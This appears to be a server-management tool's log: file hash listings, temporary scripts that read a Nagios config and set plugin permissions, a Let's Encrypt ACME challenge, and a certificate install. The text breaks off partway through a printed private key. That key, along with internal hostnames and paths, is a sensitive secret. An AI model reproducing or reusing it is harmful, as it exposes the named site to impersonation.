MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.conf)= c7d0f7caaf6c7c9b22c53150d660da6d
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.txt)= 05cb0d9a8acaeec415f02a2878e47e99
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.conf)= 92f5ac0b53170f78cd90b11433e00c90
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.txt)= b18383b98052efd1f1c0c13416f7da2a
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.conf)= cf96c96f1d1461ee0e72fa2288f69183
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.txt)= 41be792e22df23608316bdc6d5c02ebb
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.conf)= e25d9cd35ad127e670a08c38380f80dd
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.txt)= 8978877eb7bb428bb9b1624fd66866df
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.conf)= 78daa950362f6df7200d4f288d8fcc24
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.txt)= 2beac4b9c680af375d0427d0ec122336
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.conf)= c08670467eff145eb677c7be4fedd002
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.txt)= 292b467eca3f6f3e89b5906332d932ee
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.conf)= 4fc4049398e3e9ef0d00161bec61b8a9
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.txt)= e373146ad3409ae00911c19a196aba0c
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.conf)= 5738a9fc0adb6f630b2fd1631f76ebc3
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.txt)= b7fd8090ad0c758abe1b81ce7342fe27
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.conf)= a7b88255b74138f72d534f4bd4a55f78
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.txt)= 4c65be2cf42d7b01dff25648a30e0d60
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.conf)= 6ee0aac8bac1e71e0fc3ba188fbd759d
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.txt)= 55b92b69ce255778373fb680dec3d692
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.conf)= d22959f1a2d9d7cb2536df3503919289
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.txt)= c85eeca80d19efbde6476aaa5e378f89
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.conf)= 92a9f7b58f0a8f65037161a776a507b8
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.txt)= 3350c32974ffbafe079a7b2e988461c6
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.conf)= a96b4420934b504593fd2f5230424614
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.txt)= d2257a98a9302b66c20561308c19fdcf
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.conf)= 6eb5284adbf5d232feb60f6e1ab6df01
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.txt)= c6b705f7647f89b3a921503db37fea1e
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.conf)= b0e44b79d08ff8aa48029941ec628f8a
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.txt)= a264743f8f159ddddb0eaa504acd179f
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.conf)= 6c13dfa5be1a030d5ad674727b3a6ca7
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.txt)= 8c06d62e3637a8428b0366618cf3abd7
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.conf)= 69ba71a6df7b67c48ee48d439825b9b8
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.txt)= 87d8872c527a1698c0cbfdfec95dfb04
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.conf)= 015688087db895d82fc3eb3b9e11c692
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.txt)= d1e1050a45218d8a317ce20cd873bddd
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.conf)= befba77b0345213ef42b7d5fff304d70
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.txt)= 64a0bc30bde19c19f61dce2d34ba9f4d
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.conf)= 57e8151924225ca0e8e775f7c467fc0e
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.txt)= 25d0956113a097d2916fee42bd2d5ce8
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.conf)= 4a0086432eb4e2adea559c1ce5927665
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.txt)= 5750103aa360655e27676ee5092b77ef
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.conf)= 1f311b8a6182eeca1501eba415974cdc
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.txt)= c53c26bd24bdda2d1ee3d779b0ccd0a8
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.conf)= 603b053e96cc535f2b53b4f94c071b02
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.txt)= ee53ca31f66425c94bab4f49e8a21876
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.conf)= 97c8d1c1c45d4c3d55a30acba462715e
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.txt)= 6e0a1be9573427f3aecbcd2f457e6ca9
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.conf)= a5c1273a2ca448bbb92c7203a6f0c24e
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.txt)= 2657621e2763f175c78568a13a3b4254
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.conf)= f8bf0700dac5c8c4919aecf3da123f92
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.txt)= 2a8dec65e632ef023e1ae1037f9a8eb8
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.conf)= 549f08df0180e98c4a822c8ff0213408
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.txt)= 9cb7121349a3447b15a4f1444864be56
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.conf)= 83cee68b971fca76ad57abcf7ea79435
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.txt)= bfa28a357931b8963fc3db9342c27396
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.conf)= ddffa1884914311387168172feda086c
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.txt)= ffa7f2c861e2579237365beb35c65328
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.conf)= fc499b7bcc4f7bd1d4827357adb45e7d
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.txt)= cdfc7d29f0f9da0d7cb4cc1c627d340e
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.conf)= 6282a18418d86f206e2410aae573926a
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.txt)= da8d99880c0b4f5d1158902abf4cf39a
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.conf)= f8bc6a67efbdb504a5f85f3787175120
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.txt)= ce97f4641bfe8d4826b6d44097672165
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.conf)= 9c469d124b973a0c48a7084a48df07ed
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.txt)= ebf08621122375f56f22c7d207713b37
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.conf)= f89894bce93149ef3a0ee72cf3b46a92
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.txt)= a7ff8245b49d737356e14402ef69e0b4
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.conf)= fff6889b13905b5a22a0a280541beb17
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.txt)= 2557fbb1b0ce22dfcad39f117fb5d836
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.conf)= 6e60a6f4a772f19624e54937eadf00e0
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.txt)= 12ec6f783d6ac3bdd3f9d6921b1ba27a
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.conf)= 4aa3a1169a84c53167ee8dcce6128883
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.txt)= ff229c913624671483309b6b5a233790
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.conf)= b35e87166fa75b0eecbabb2958595374
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.txt)= 9dbcf27730c478ead28397cbef193659
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.conf)= 370ad953107dab595a234500850414cb
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.txt)= 1f5511319facf6dd7179e0ee9cac0c65
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.conf)= 41dfde821e6536d01c57049ace3f0fa8
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.txt)= 3b9749b3aa1d39b252fd354cb1d30abc
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.conf)= aa0c41a8f288d69eeb16567b5e0aec56
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.txt)= 0cc05ded4f42eaa5e3a66f7466b55045
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.conf)= 0c12e9548e598ad77eff62d2c68142b2
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.txt)= 215db2579062c3dd4bf7e5ed22982e75
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.conf)= 9c40952b0c50507ea64d4480409cb2e8
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.txt)= a144f5668b70541e3def64047fe02b6c
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.conf)= 51e286d25a9fbd96f007a7084de18dd9
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.txt)= 100f002295ca521d3ac0f418694f3c7d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.conf)= 9cb837c312618417daea16d794ea198b
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.txt)= b23222a1b0723ecf0760bd68b4d2a070
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.conf)= 980c7a4583fe35da8df0033a57098def
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.txt)= f528c9aa02ebb4638264fc82862875f3
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.conf)= 7a6022b5c53bafd967d3c9873a04bf86
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.txt)= 0657908fdb73b80608db9fcde03ef46f
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.conf)= 85a2b7310c5460015abddb6ef0af3a56
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.txt)= 558dea320db1d773932c92910d1dbdd0
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.conf)= 81f4dbaa2ef4e9abd0e967b4ad2586b2
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.txt)= 7174b344b0ae3fb0d1e887f7b7a8cca1
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.conf)= 7a7a30e25dd61c59d71673818fb4b731
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.txt)= 4ef4e881b38eacff7ef2cb121ee2a31d
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.conf)= 4475af152483db05440ac1bdb9e91ed8
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.txt)= d8822ffb89db1df7c92e5994559a29f1
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.conf)= 5f673bc37590247b80c11d0349e7039b
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.txt)= f74085c0552a3fba6622491abdbfce06
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.conf)= ece349c6e4fb427405bbce5b5501fec7
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.txt)= 66b17acb39553d9ae5c46141fa7072cc
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.conf)= 34f0d361e4a9e09f563e1b9ebb2d21db
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.txt)= 2a324e4d3ddfd35539af500663112679
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.conf)= 9896db403abe67fa779eafab3fb9c466
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.txt)= ccc02fdb93c8840b3a79ed79d7b7ae56
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.conf)= 5160486015bcb3611cd44fe96a0507f2
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.txt)= 5aef34597b77b644cec7fbe4d804cae9
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.conf)= fd0457a783720d5adbc63330db4ba29c
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.txt)= 876777712e30357d4624f45b89f90d25
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.conf)= d22edaa21f398273183ddd5015d8a697
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.txt)= af7980c0c505a2cb9c80a6dcd33fb37d
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.conf)= 0bb3baf9e79ad18c078b64857c5c4fef
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.txt)= 4f2a6ba7f3a1f349813677dc835b72e3
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.conf)= 66ef6c188fde86c68238df5f0f8b1c63
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.txt)= 78845a52d60704d9f479a146f3151909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.conf)= f58481f984dabea5d5aecf889dafd909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.txt)= 21e91dfd8a70957d62dfd3f65c252eaf
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.conf)= 41de67f9c6ff20a481de2604a5cc468c
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.txt)= 3de8aa47e4be97fb0088cbc5bd4e5d00
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.conf)= be458f7ab43d9f713dcd9551784820da
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.txt)= fd0a8c652b27589f5908fcf7f1e9f6e0
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.conf)= 9809fac7437d3482422b2fcdb2aae89f
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.txt)= eaf427f91784f271895869ca9c1c31ab
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.conf)= 97e7b02dd275ffcd326cf55868836a13
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.txt)= 40b7175d2b62682e5c5caf5b86494e7c
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.conf)= f523d5f69970191d187717079c3462cf
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.txt)= 07d2f0972f7571a5c93312f943645728
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.conf)= 6640cf357a97668fe84a5e7953c321a0
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.txt)= 5e87428bc4cd6d266c7a77bc507057f8
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.conf)= fa27de2710b5a788f7b06af0b88b058e
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.txt)= fd137abd12b564c60a25d7c8ee1677ee
MD5(/var/cache/bind/cf381d1fff06090b5818429e32e6000e.conf)= 0c602ebd02403b745f34fa146858295c
MD5(/var/cache/bind/cf381d1fff06090b5818429e32e6000e.txt)= f40f6a600e6f86861c8cb4d0f14eea17
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.conf)= eebe5ece7f3ba31853415b418c8cf9e1
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.txt)= c980bdf14805f6ec8205412031ee5848
MD5(/var/cache/bind/26d0b9e50bf0aadee17752807d692a2e.conf)= 8f23314b26a5a62466b1935b4344b379
MD5(/var/cache/bind/26d0b9e50bf0aadee17752807d692a2e.txt)= 7a6fd8c70b6f0cc9743ae2c949a5c79a
MD5(/etc/bind/named.conf.default-zones)= 9fbdc4657090b3b2a45f7e7b8468cf96
MD5(/usr/share/dns/root.hints)= 256a3e44f5821c498cf777dd118944a6
MD5(/etc/bind/db.local)= e5d27ead2d238928a08d33c7a7333477
MD5(/etc/bind/db.127)= 64f5cf50e8d8192109dad43b779e5e36
MD5(/etc/bind/db.0)= 43e4adb661f18a102a9c2ad1e192e825
MD5(/etc/bind/db.255)= 8aba258068c8c60a7ade3952a285f57d


2026-06-19 14:39:37: Establishing a connection
2026-06-19 14:39:37: Establishing a connection
2026-06-19 14:39:38: 

PUT: /tmp/pkp221726

#!/usr/bin/python3
import os, os.path, sys, gzip, tempfile, codecs
BOUNDARY = '----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
jones = tempfile.NamedTemporaryFile(delete = False)
gz = gzip.open(jones.name, 'wb')

def show_file(filename):
    if os.path.isfile(filename):
        f = open(filename, 'r')
        sz = os.path.getsize(filename)
        content = f.read()
        payload = BOUNDARY + "\n"
        gz.write(payload.encode('cp437'))
        payload = filename + "\t" + str(sz) + "\n"
        gz.write(payload.encode('cp437'))
        payload = content + "\n"
        gz.write(payload.encode('cp437'))
        gz.write("\n".encode('cp437'))
        f.close()

try:
    show_file('/usr/local/nagios/etc/objects/hostgroup.cfg')

finally:
    gz.close();

sys.stdout = codecs.getwriter('latin-1')(sys.stdout.detach())
with open(jones.name, 'rb') as f:
    data = f.read()
    sys.stdout.write(data.decode('latin-1'))
    f.close()
os.remove(jones.name)


2026-06-19 14:39:38: 

chmod 755 /tmp/pkp221726; /tmp/pkp221726; rm /tmp/pkp221726

2026-06-19 14:39:38: 
(gzipped output)


----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/usr/local/nagios/etc/objects/hostgroup.cfg	618
# CUSTOMIZED

###############################################################################
#
# HOST GROUP DEFINITION
#
###############################################################################

# Define an optional hostgroup for Linux machines

define hostgroup {

    hostgroup_name          linux-servers           ; The name of the hostgroup
    alias                   Linux Servers           ; Long name of the group
      ; Comma separated list of hosts that belong to this group
  members  localhost, server_51, server_53, server_59, server_49, server_50, server_42, server_41, server_1, server_45
}






2026-06-19 14:39:38: 

systemctl reload nagios

2026-06-19 14:39:38: 




2026-06-19 14:39:38: 

PUT: /tmp/pkp366636

#!/bin/bash
chmod 755 '/usr/local/nagios/libexec/class_nagios.php'
echo ok


2026-06-19 14:39:38: 

chmod 755 /tmp/pkp366636; /tmp/pkp366636; rm /tmp/pkp366636

2026-06-19 14:39:38: 


ok


2026-06-19 14:39:38: 

PUT: /tmp/pkp395716

#!/bin/bash
chmod 755 '/usr/local/nagios/libexec/check_ssl_cert.php'
echo ok


2026-06-19 14:39:38: 

chmod 755 /tmp/pkp395716; /tmp/pkp395716; rm /tmp/pkp395716

2026-06-19 14:39:38: 


ok


2026-06-19 14:39:38: 

PUT: /tmp/pkp191667

#!/bin/bash
chmod 755 '/usr/local/nagios/libexec/check_debian_packages'
echo ok


2026-06-19 14:39:38: 

chmod 755 /tmp/pkp191667; /tmp/pkp191667; rm /tmp/pkp191667

2026-06-19 14:39:38: 


ok


2026-06-19 14:39:38: 

PUT: /tmp/pkp730740

#!/bin/bash
chmod 755 '/usr/local/nagios/libexec/class_nagios.php'
echo ok


2026-06-19 14:39:38: 

chmod 755 /tmp/pkp730740; /tmp/pkp730740; rm /tmp/pkp730740

2026-06-19 14:39:38: 


ok


2026-06-19 14:39:38: 

PUT: /tmp/pkp167239

#!/bin/bash
chmod 755 '/usr/local/nagios/libexec/check_php.php'
echo ok


2026-06-19 14:39:38: 

chmod 755 /tmp/pkp167239; /tmp/pkp167239; rm /tmp/pkp167239

2026-06-19 14:39:38: 


ok


2026-06-19 14:39:38: 

PUT: /tmp/pkp936528

#!/bin/bash
chmod 755 '/usr/local/nagios/libexec/check_file_exists'
echo ok


2026-06-19 14:39:38: 

chmod 755 /tmp/pkp936528; /tmp/pkp936528; rm /tmp/pkp936528

2026-06-19 14:39:38: 


ok


2026-06-19 14:39:38: 

PUT: /tmp/pkp604016

#!/bin/bash
chmod 755 '/usr/local/nagios/libexec/check_service'
echo ok


2026-06-19 14:39:38: 

chmod 755 /tmp/pkp604016; /tmp/pkp604016; rm /tmp/pkp604016

2026-06-19 14:39:38: 


ok


2026-06-21 06:00:03: Establishing a connection
2026-06-21 06:00:04: Establishing a connection
2026-06-21 06:00:05: 

PUT: /tmp/pkp799953

#!/bin/bash
if [ -d "/mnt/internal/www/theyoungdesigners_stage/public/.well-known" ]; then
    echo 1
else
    echo 0
fi


2026-06-21 06:00:06: 

chmod 755 /tmp/pkp799953; /tmp/pkp799953; rm /tmp/pkp799953

2026-06-21 06:00:06: 


1


2026-06-21 06:00:07: Establishing a connection
2026-06-21 06:00:08: 

PUT: /tmp/pkp958968

#!/bin/bash
mkdir -p "/mnt/internal/www/theyoungdesigners_stage/public/.well-known/acme-challenge/"
cd "/mnt/internal/www/theyoungdesigners_stage/public/.well-known/acme-challenge/"
cat > KFXVHt37ztylKyLNYKCb-oUqjreV10-qqrDj2iWtvdg <<'----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
KFXVHt37ztylKyLNYKCb-oUqjreV10-qqrDj2iWtvdg.-jIM5EB2E51kVCC6JDMzXy3saEYDtouosfbBBv2qBKE
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
chmod 666 KFXVHt37ztylKyLNYKCb-oUqjreV10-qqrDj2iWtvdg


2026-06-21 06:00:09: 

chmod 755 /tmp/pkp958968; /tmp/pkp958968; rm /tmp/pkp958968

2026-06-21 06:00:09: 




2026-06-21 06:00:15: Establishing a connection
2026-06-21 06:00:16: 

PUT: /tmp/pkp175546

#!/bin/bash
mkdir -p "/mnt/internal/www/theyoungdesigners_stage/public/.well-known/acme-challenge/"
cd "/mnt/internal/www/theyoungdesigners_stage/public/.well-known/acme-challenge/"
rm KFXVHt37ztylKyLNYKCb-oUqjreV10-qqrDj2iWtvdg


2026-06-21 06:00:17: 

chmod 755 /tmp/pkp175546; /tmp/pkp175546; rm /tmp/pkp175546

2026-06-21 06:00:17: 




2026-06-21 06:00:17: Establishing a connection
2026-06-21 06:00:18: 

PUT: /tmp/pkp738157

#!/bin/bash
temp_file=$(mktemp)
TARGET=71986a4933a5df06d6ba64d41a00e6e1.crt

cat > $temp_file <<'endmsg'
61:14:ae:5b:86:ea:1e:5b:18:fd:4e:76:04:37:46:64

-----BEGIN CERTIFICATE-----
MIIFEjCCA/qgAwIBAgISBUpuXFPM61kHt43+w2zzp5b3MA0GCSqGSIb3DQEBCwUA
MDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBFbmNyeXB0MQwwCgYDVQQD
EwNZUjIwHhcNMjYwNjIxMDUwMTQ0WhcNMjYwOTE5MDUwMTQzWjAmMSQwIgYDVQQD
ExtzdGFnZS50aGV5b3VuZ2Rlc2lnbmVycy5jb20wggEiMA0GCSqGSIb3DQEBAQUA
A4IBDwAwggEKAoIBAQCwL8RBhhdoLthhMZSUF9zcLf3FdHNdpm9JuD4D1wFVsH4F
iC7unkNv9fRgSsvvzkLBFQ+whO2CfwAd4Z+wz/ZFXN8W5dp9RtmFlShHBBegOprQ
Zd0ZlwjUFqnAQOmOAnsPpb1vhnMPW7EEr+dXtmmVrRc/NKOy/gZ8+QSosJyxhwHy
7SeeoYGVbQ5iRE1dwNzfYdo8Wrm5QzxiI8Lz3BiX4UgkOj0pAaY5ewTbZ8ZSzg8l
1kmv2yW4DYfNOirC04BS/ayul8vlfaVYxUmTFauXo581qvt5Z75F8YyEtyE3i1aQ
xbnAjQ6ZSPPCe8quxrjQxF8tSgXhHA7HNoLF/3WpAgMBAAGjggIrMIICJzAOBgNV
HQ8BAf8EBAMCBaAwEwYDVR0lBAwwCgYIKwYBBQUHAwEwDAYDVR0TAQH/BAIwADAd
BgNVHQ4EFgQUJNLwSs8XgwHvtF2a3cpPJW0zraMwHwYDVR0jBBgwFoAUQBUtJnnt
MiCe35pyHdYyH4EMgQwwMwYIKwYBBQUHAQEEJzAlMCMGCCsGAQUFBzAChhdodHRw
Oi8veXIyLmkubGVuY3Iub3JnLzAmBgNVHREEHzAdghtzdGFnZS50aGV5b3VuZ2Rl
c2lnbmVycy5jb20wEwYDVR0gBAwwCjAIBgZngQwBAgEwLwYDVR0fBCgwJjAkoCKg
IIYeaHR0cDovL3lyMi5jLmxlbmNyLm9yZy8xMjAuY3JsMIIBDQYKKwYBBAHWeQIE
AgSB/gSB+wD5AHcAr2eIO1ewTt2Pptl+9i6o64EKx3Fg8CReVdYML+eFhzoAAAGe
6MPs0AAABAMASDBGAiEA/+ANFmwbJ1M+FgTGnioaicnUaqeSMNgVFd1uzqhOc3UC
IQCmpLU2EYW7qGR2it+WmuByrGCBLBK7y6+yRf+mH06OwwB+ACbjZG5YaSEjvDQ/
RyQ1mzeSzSRaiNgV05Mz/ZkYq0cjAAABnujD6ucACAAABQAgWqbKBAMARzBFAiBh
fsCph8rzN8HxhzZoiLosl7n20qjZig2Pa8L2NfQcOwIhAIssn+OI01g9ntWO0Rre
XOOeoWt1rk01hB8d0dKV3jjwMA0GCSqGSIb3DQEBCwUAA4IBAQCRRwseulrbq96v
w1F/ck3pZpAnuCGoSfBgNhbK8iiRlS9Yi0qx6Qtrct9JW2fqsEnMIIhwkLf2jcLx
ancQNpJvpqxZF/Ozq1gQDA2RRaBKJSuivRm13nGA0zpuoQhSsqNlC0jCg3nH6zIc
1lq6quhqYlx4CtixHr1v9JQCX/6cLtxZJBk1QGnErB2JAPAlTZHnPw5bin74GU1R
Cp0kIMPHHGm2MXH19eI9GpyO9Q8DcBaqRau45Ih6Drh76rPY3tiOD2jO35KdcLF1
zsmg5wKAE1VHPhPlAatxL6nnw15Y7x2rF2/kov78PWzSuJzdoWWUSU/xpUefLYDP
wr6KRtI+
-----END CERTIFICATE-----



-----BEGIN PRIVATE KEY-----
MIIEvQIBADANBgkqhkiG9w0BAQEFAASCBKcwggSjAgEAAoIBAQCwL8RBhhdoLthh
MZSUF9zcLf3FdHNdpm9JuD4D1wFVsH4FiC7unkNv9fRgSsvvzkLBFQ+whO2CfwAd
4Z+wz/ZFXN8W5dp9RtmFlShHBBegOprQZd0ZlwjUFqnAQOmOAnsPpb1vhnMPW7EE
r+dXtmmVrRc/NKOy/gZ8+QSosJyxhwHy7SeeoYGVbQ5iRE1dwNzfYdo8Wrm5Qzxi
I8Lz3BiX4UgkOj0pAaY5ewTbZ8ZSzg8l1kmv2yW4DYfNOirC04BS/ayul8vlfaVY
xUmTFauXo581qvt5Z75F8YyEtyE3i1aQxbnAjQ6ZSPPCe8quxrjQxF8tSgXhHA7H
NoLF/3WpAgMBAAECggEABXguJQSXJG5T3EyQOrq06gbpemA/lpgsm0LDdhYOHg1h
FCXioxi5qjed8wFPbG3gR6MyPf4aa3Mq20KeVPxXvlaAPHM9QadZ6Fo1imLXous+
1Bpdb0ZviTn84hGBzp1IGbfA9j3bw43KpIUbbu8kPvfFIXquXEejhuyqFtyIuMAV
bpIJtnmHlGfKyS6XE4Yh4hQE/5al8AV8Y7Gx5Bfo6vttWn5SB26Oco7GCZbjOYJM
34wfTIIkOwaGHv1aNTmLaVPlsEbZM4xV8JyK6ruODE8GsHYcjZrd+O91FHKvTfuX
xroCvTexGntehbkzRP7leXGFHO+lOCcwbTelooaNAQKBgQDr8e8GfACORnLrV/9u
2nLmDVEGASVRUHZtjBbAjFFdM2YRdrCefBj/iraxeCyQ/qCAOvjXwKUcgKLU2QOh
PVLPrqN9KgAajg2hqSzw50uzpqcL1pasRUbLQkYyomkYWmkK8wNw287DRwpIDB4Z
XBBvmSzNSM6z9CmjYKI8PAlIaQKBgQC/KYN5FqT4WZAZ+9BxyCt/ojMru2kOvAu7
4EuZTPQ9EsZKocAp//IKY14DsSEPJxCh37rMY6x5b3EZEBZtAuxBzWWSNZEnAU15
yJMO1mLAyEV+fDvhhBp1llUX1eCYGXtptlKNcR1hgiBYZtBS/UDD26yjo9X16B0x
BxC9TNkbQQKBgC/0VCh1O4evOdwrXnchXwjy2+zkfrkwKWHKfzVTT5YpxCz4ep07
i7kkcE1Rp30ww15Mnhb7yJMqce3gzaQP2qzrSb8+shazmIGq6L9twy0YSgtV6fnJ
esIFDk9sQv/4IDFhgumFQ1jdL3HFRLjSxWRpNXnjul9I2M2j7lVfvmNBAoGARJQJ
BWy5PBstVhT/f4I3EK/IubyfANk3QGxD0rhHuo08s9N5U9ftJgrl1F88I+p4zgms
